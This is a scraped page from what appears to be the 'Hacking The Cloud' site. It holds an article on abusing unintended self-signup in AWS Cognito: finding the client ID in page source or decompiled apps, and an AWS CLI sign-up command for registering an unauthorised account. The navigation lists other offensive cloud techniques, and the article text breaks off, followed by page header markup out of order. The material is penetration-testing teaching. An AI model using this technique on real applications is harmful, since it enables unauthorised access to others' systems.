class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-it-works class=md-nav__link> <span class=md-ellipsis> How it works </span> </a> <nav class=md-nav aria-label="How it works"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#web-applications class=md-nav__link> <span class=md-ellipsis> Web applications: </span> </a> </li> <li class=md-nav__item> <a href=#mobile-applications class=md-nav__link> <span class=md-ellipsis> Mobile applications: </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#exploitation class=md-nav__link> <span class=md-ellipsis> Exploitation </span> </a> </li> <li class=md-nav__item> <a href=#impact class=md-nav__link> <span class=md-ellipsis> Impact </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-it-works class=md-nav__link> <span class=md-ellipsis> How it works </span> </a> <nav class=md-nav aria-label="How it works"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#web-applications class=md-nav__link> <span class=md-ellipsis> Web applications: </span> </a> </li> <li class=md-nav__item> <a href=#mobile-applications class=md-nav__link> <span class=md-ellipsis> Mobile applications: </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#exploitation class=md-nav__link> <span class=md-ellipsis> Exploitation </span> </a> </li> <li class=md-nav__item> <a href=#impact class=md-nav__link> <span class=md-ellipsis> Impact </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/cognito_user_self_signup.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=unintended-self-signup-in-aws-cognito>Unintended Self-Signup in AWS Cognito<a class=headerlink href=#unintended-self-signup-in-aws-cognito title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <ul> <li><a href=https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/vulnerable_cognito>CloudGoat Scenario: vulnerable_cognito</a></li> </ul> </li> </ul> </div> <p>A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users. </p> <p>However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. <strong>If "Admin Only" signup is not enabled</strong> in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.</p> <h2 id=how-it-works>How it works<a class=headerlink href=#how-it-works title="Permanent link">&para;</a></h2> <p>Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.</p> <h3 id=web-applications>Web applications:<a class=headerlink href=#web-applications title="Permanent link">&para;</a></h3> <p>An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:</p> <ol> <li>Opening the web application in a web browser. </li> <li>Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage. </li> <li>Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID. </li> </ol> <p>It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.</p> <h3 id=mobile-applications>Mobile applications:<a class=headerlink href=#mobile-applications title="Permanent link">&para;</a></h3> <p>Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:</p> <ol> <li>Downloading the application package (APK for Android, IPA for iOS) to a local device.</li> <li>Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications. </li> <li>Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.</li> </ol> <h2 id=exploitation>Exploitation<a class=headerlink href=#exploitation title="Permanent link">&para;</a></h2> <p>Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:</p> <div class=highlight><pre><span></span><code>$<span class=w> </span>aws<span class=w> </span>cognito-idp<span class=w> </span>sign-up<span class=w> </span>--client-id<span class=w> </span><span class=o>{</span>client_id<span class=o>}</span><span class=w> </span>--username<span class=w> </span><span class=o>{</span>desired_username<span class=o>}</span><span class=w> </span>--password<span class=w> </span><span class=o>{</span>desired_password<span class=o>}</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#unintended-self-signup-in-aws-cognito class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query 